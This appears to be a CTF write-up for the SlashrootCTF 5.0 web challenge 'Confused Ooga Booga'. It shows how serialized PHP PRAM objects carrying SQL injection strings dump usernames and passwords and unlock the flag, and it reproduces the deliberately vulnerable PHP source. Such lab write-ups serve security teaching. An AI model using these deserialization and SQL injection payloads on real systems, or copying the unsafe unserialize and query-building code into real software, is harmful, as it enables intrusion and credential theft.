[SlashrootCTF 5.0 — Web Exploitation] Confused Ooga Booga Write-up and Explanations

Christopher Limawan
7 min readSep 26, 2021

--

Hi all, I am back to share what I know and how our team do solve the CTF problem set in SlashrootCTF 5.0 event, named Confused Ooga Booga.

Introduction to CTF Problem: Confused Ooga Booga

First things first, explanation about the problem itself.

Image 1: Web Exploitation Problem Set — Confused Ooga Booga (Credits to: IMaddiXI)

We do confused about the problem, alright. The description does not tell much, except link to the web application target. XD

Jokes aside, this problem set gives us the main target that should be exploited. Here is the interface of the web application when accessed it in normal way.

Image 2: Result of Accessing Web Application Target

The web application instantly shows the source code of the current endpoint. As for the completed source code, you can check out at the bottommost of this article.

The goal is to exploit the web application and get the flag, based on given source code. But before I start to explain how our team solves the problem, let’s know what vulnerabilities reside in the web application.

FYI, there are 2 major vulnerabilities in the web application:

  1. SQL Injection (Check out OWASP Top Ten Web Application Security Risks — Injection)
  2. Insecure Deserialization (Check out OWASP Top Ten Web Application Security Risks — Software and Data Integrity Failures)

Let’s go through each of the vulnerabilities step-by step, starts from Insecure Deserialization.

Insecure Deserialization

Take a look at the code snippet below:

if (isset($_GET[‘data’])) {
$decoded = base64_decode($_GET[‘data’]);
$deserialized = @unserialize($decoded);
} else {
new PRAM(‘source’, []);
}

What the code snippet do is to decode data parameter with Base64 algorithm and deserialize the result. I should highlight the deserialize word, because it could be one of the signature to vulnerability of Insecure Deserialization.

If you do not have a single clue about Insecure Deserialization, please have a look and understand on explanation of Introduction of Insecure Deserialization in PHP.

Let’s go into how to leverage the vulnerability.

First things first, usually the targets of the insecure deserialization in PHP are classes that will be used in the web application. In this case, PRAM class is the main target, because of __destruct method capability. (get, login, and source method will be called when the class calls destructor)

function __destruct()
{
$this->__conn();

if (in_array($this->method, array(‘get’, ‘login’, ‘source’))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die(“method not found!”);
}

$this->__close();
}

Next, after a little information gathering about the target of the Insecure Deserialization, let’s prepare the payload first. The steps are:

  1. Construct class with set value
  2. Create object based on created class
  3. Serialize created object
  4. Encode the result with Base64

You can construct class and create object using PHP Interactive Shell.

Image 3: Create Payload to Change PRAM Values, by Recreate PRAM Class and Serialize PRAM New Object (Call Get Method)

The result of step 1–3 is:

O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:4:”’user”;}}

After construct and encode the payload, use the payload to invoke request to web application target with additional query string. If errors are not shown and the result is shown as following image, then leveraging Insecure Deserialization vulnerability proves to be successful. (In the following image, I am using Burp Suite to help me send the edited request, but it is not mandatory. If you have another tool(s), feel free to use it, as long as you can do what I do in this article)

Image 4: Send Base64-encoded Serialized PRAM Object to “data” Parameter

SQL Injection

Take a look at code snippet below:

function get()
{
list($username) = func_get_args();
$q = sprintf(“SELECT * FROM users WHERE username=’%s’”, $username);

$obj = $this->__query($q);

if ($obj != false) {
$this->__die(sprintf(“%s is %s”, $obj->username, $obj->role));
} else {
$this->__die(“User not found!”);
}
}

function __query($q)
{
$res = @mysqli_query($this->conn, $q);

if ($res) {
return @mysqli_fetch_object($res);
}
}

What the code snippet do is to fetch user data with given username in database. Username value extracted from the args variable. For the current subtopic, I should highlight database word, because it could be one of the signature to vulnerability of SQL Injection. Specifically in PHP, we can leverage mysqli_query method to inject SQL query to args variable.

Before explaining how to leverage SQL Injection, understand the concept of Insecure Deserialization because we will continuously leverage Insecure Deserialization to do SQL Injection.

First things first, let’s construct the payload by changing several values from payload we have used to leverage Insecure Deserialization.

O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:9:”’ or 1=1#”;}}

Then, encode the payload and invoke the request once again to web application target, also do not forget to change the data parameter to encoded payload.

Image 5: Send Base64-encoded Serialized PRAM Object (SQLi Payload Included) to “data” Parameter (Test SQL Injection)

The image above shows that the message is different, compared to Insecure Deserialization part. Based on the shown message:

  1. We can conclude that in Insecure Deserialization part shows no user selected, but current payload shows an user selected, named pram.
  2. We can conclude the SQL Injection payload successfully executed.

Because those temporary conclusion, we can investigate further on database contents by leverage this endpoint. Next, let’s show all existed users in database. Before doing just that, we need to know count of selected columns when doing select query for specific username by utilizing UNION and SELECT query.

O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:9:”’ union select 1,2,3,4#”;}}

After that, encode the payload and invoke the request once again to web application target, also do not forget to change the data parameter to encoded payload.

Image 6: Send Base64-encoded Serialized PRAM Object (SQLi UNION SELECT Payload Included) to “data” Parameter (Find Information about Count of Selected Columns)

We do have a result, where 2 and 4 used as the message data. From this, we know that we should leverage column 2 or 4 in current payload to show all user data. But if we analyse login method logic, we just need username and password. So, let’s change the payload once again, from column 2 to group_concat(username, ‘ ’, password). The group_concat function used to combine username and password as 1 column.

O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:56:”’ union select 1,group_concat(username, ‘ ‘, password),3,4 from users#”;}}

Then, encode the payload and invoke the request once again to web application target, also do not forget to change the data parameter to encoded payload.

Image 7: Send Base64-encoded Serialized PRAM Object (SQLi UNION SELECT Payload Included) to “data” Parameter (Show all usernames and passwords)

Voilà. We have got the username and password of listed users in database, pram and guest. Let’s use the credentials to invoke login method with shown credentials. The steps are still the same:

  1. Construct class with set value
  2. Create new object
  3. Serialize the new object
  4. Encode the result with Base64
Image 8: Create Payload to Change PRAM Values, by Recreate PRAM Class and Serialize PRAM New Object (Call Login Method)

The result of step 1–3 is:

O:4:”PRAM”:2:{s:6:”method”;s:5:”login”;s:4:”args”;a:2:{i:0;s:4:”pram”;i:1;s:14:”v3ryS3cur3P4sz”;}}

After prepare and encode the serialized object, invoke the request once again to web application target, also do not forget to change the data parameter to encoded payload.

And we have found the flag.

Slashroot5{PHP<redacted>bo0ga}

Others

Source code of the web application (in PHP):

<?php

include ‘config.php’;

class PRAM
{
private $method;
private $args;
private $conn;

public function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}

function get()
{
list($username) = func_get_args();
$q = sprintf(“SELECT * FROM users WHERE username=’%s’”, $username);

$obj = $this->__query($q);

if ($obj != false) {
$this->__die(sprintf(“%s is %s”, $obj->username, $obj->role));
} else {
$this->__die(“User not found!”);
}
}

function login()
{
global $FLAG;

list($username, $password) = func_get_args();
$username = strtolower(trim(mysqli_real_escape_string($this->conn, $username)));
$password = strtolower(trim(mysqli_real_escape_string($this->conn, $password)));

$q = sprintf(“SELECT * FROM users WHERE username=’%s’ AND password=’%s’”, $username, $password);

$obj = $this->__query($q);

if ($obj && $obj->role == ‘admin’) {
$this->__die(‘REAL SHIT!! okay, here is your flag: ‘ . $FLAG);
} else {
$this->__die(“No flag for you, go ask pram for flag”);
}
}

function source()
{
return highlight_file(__FILE__);
}

function __conn()
{
global $host, $user, $pass, $dbname;

if (!$this->conn) {
$this->conn = mysqli_connect($host, $user, $pass, $dbname);
mysqli_set_charset($this->conn, ‘utf8’);
}

if (!$this->conn) {
die(‘Connection failed: ‘ . mysqli_connect_error());
}
}

function __query($q)
{
$res = @mysqli_query($this->conn, $q);

if ($res) {
return @mysqli_fetch_object($res);
}
}

function __die($msg)
{
$this->__close();

header(‘Content-Type: application/json’);
die(json_encode(array(‘msg’ => $msg)));
}

function __close()
{
mysqli_close($this->conn);
}

function __destruct()
{
$this->__conn();

if (in_array($this->method, array(‘get’, ‘login’, ‘source’))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die(“method not found!”);
}

$this->__close();
}

function __wakeup()
{
foreach ($this->args as $key => $value) {
$this->args[$key] = strtolower(trim($value));
}
}
}

if (isset($_GET[‘data’])) {
$decoded = base64_decode($_GET[‘data’]);
$deserialized = @unserialize($decoded);
} else {
new PRAM(‘source’, []);
}

Closing

I think that’s all that I want to share about Confused Ooga Booga SlashrootCTF 5.0 Problem Set. If there are any explanation that need to be fixed or added, please do not hesitate to let me know by email to christopherlimawan@gmail.com.

--

--